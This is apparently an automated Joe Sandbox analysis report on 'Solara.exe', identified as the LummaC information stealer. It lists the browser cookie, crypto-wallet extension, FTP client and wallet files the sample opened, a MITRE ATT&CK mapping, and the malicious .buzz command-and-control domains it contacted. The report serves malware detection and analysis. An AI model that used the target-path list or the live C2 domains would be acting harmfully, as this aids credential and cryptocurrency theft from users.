Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Solara.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior

Source: Yara match	File source: 00000002.00000003.1768091011.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Solara.exe PID: 7620, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Solara.exe PID: 7620, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	241 Security Software Discovery	SMB/Windows Admin Shares	41 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	3 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	11 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	33 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Solara.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://mindhandru.buzz:443/apiE_	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apiza2	100%	Avira URL Cloud	malware
https://mindhandru.buzz/api0u0u	100%	Avira URL Cloud	malware
https://mindhandru.buzz/Z	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apiB&	100%	Avira URL Cloud	malware
https://mindhandru.buzz:443/apiRd	100%	Avira URL Cloud	malware
https://mindhandru.buzz/s	100%	Avira URL Cloud	malware
https://mindhandru.buzz/ndows	100%	Avira URL Cloud	malware
https://mindhandru.buzz/D	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mindhandru.buzz	172.67.165.185	true	false		high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
hummskitnj.buzz	false	high
mindhandru.buzz	false	high
https://mindhandru.buzz/api	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
prisonyfork.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	Solara.exe	false		high
http://ocsp.entrust.net02	Solara.exe	false		high
https://mindhandru.buzz:443/apiE_	Solara.exe, 00000002.00000002.2897998714.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1792136717.0000000002D5A000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1806487513.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.2454619814.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1831530096.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	Solara.exe, 00000002.00000003.1742691939.00000000054CB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/api0u0u	Solara.exe, 00000002.00000003.1792136717.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1806487513.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1831530096.0000000002D70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Solara.exe, 00000002.00000003.1695669550.0000000005516000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695603213.0000000005562000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz:443/api	Solara.exe, 00000002.00000002.2897998714.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.2454619814.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apiB&	Solara.exe, 00000002.00000003.1831492202.0000000002DDB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	Solara.exe, 00000002.00000003.1742691939.00000000054CB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	Solara.exe, 00000002.00000003.1741428959.00000000054E7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Solara.exe, 00000002.00000003.1741428959.00000000054E7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Solara.exe, 00000002.00000003.1695669550.00000000054F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz:443/apiRd	Solara.exe, 00000002.00000002.2897998714.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1806487513.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.2454619814.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1831530096.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.entrust.net/ts1ca.crl0	Solara.exe	false		high
https://support.mozilla.org/products/firefoxgro.all	Solara.exe, 00000002.00000003.1742435372.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apiza2	Solara.exe, 00000002.00000003.1694562958.0000000002D5A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	Solara.exe, 00000002.00000003.1742691939.00000000054CB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/ndows	Solara.exe, 00000002.00000002.2898260079.0000000002DDB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	Solara.exe, 00000002.00000003.1742691939.00000000054CB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/s	Solara.exe, 00000002.00000002.2898260079.0000000002DDB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.entrust.net/rpa03	Solara.exe	false		high
https://mindhandru.buzz/	Solara.exe, 00000002.00000002.2898617643.00000000054D0000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1694613062.0000000002D4E000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1694562958.0000000002D70000.00000004.00000020.00020000.00000000.sdmp	false		high
http://aia.entrust.net/ts1-chain256.cer01	Solara.exe	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Solara.exe, 00000002.00000003.1741428959.00000000054E7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	Solara.exe, 00000002.00000003.1742691939.00000000054CB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Solara.exe, 00000002.00000003.1741428959.00000000054E7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Solara.exe, 00000002.00000003.1695669550.0000000005516000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695603213.0000000005562000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Solara.exe, 00000002.00000003.1742435372.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/Z	Solara.exe, 00000002.00000003.1768028999.0000000002DCC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.micro	Solara.exe, 00000002.00000003.1792136717.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1806487513.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1831530096.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1831693349.0000000002DB7000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1694562958.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1768091011.0000000002D70000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	Solara.exe, 00000002.00000003.1742691939.00000000054CB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	Solara.exe, 00000002.00000003.1695603213.0000000005564000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Solara.exe, 00000002.00000003.1741428959.00000000054E7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Solara.exe, 00000002.00000003.1695669550.00000000054F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Solara.exe, 00000002.00000003.1695230625.0000000005508000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000002.00000003.1695152176.000000000550B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/D	Solara.exe, 00000002.00000003.1831492202.0000000002DDB000.00000004.00000020.00020000.00000000.sdmp, Solara.exe, 00000002.00000002.2898260079.0000000002DDB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.entrust.net/2048ca.crl0	Solara.exe	false		high
https://www.entrust.net/rpa0	Solara.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.165.185	mindhandru.buzz	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581432
Start date and time:	2024-12-27 16:20:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Solara.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/1@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 60 Number of non-executed functions: 158
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 20.12.23.50, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Solara.exe

Simulations

Behavior and APIs

Time	Type	Description
10:20:57	API Interceptor	8x Sleep call for process: Solara.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.165.185	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	0x001f00000004676d-1858.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	TrdIE26br9.msi	Get hash	malicious	Unknown	Browse	172.67.148.171
	0x001f00000004676d-1858.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	104.21.11.101
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	0x001f00000004676d-1858.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
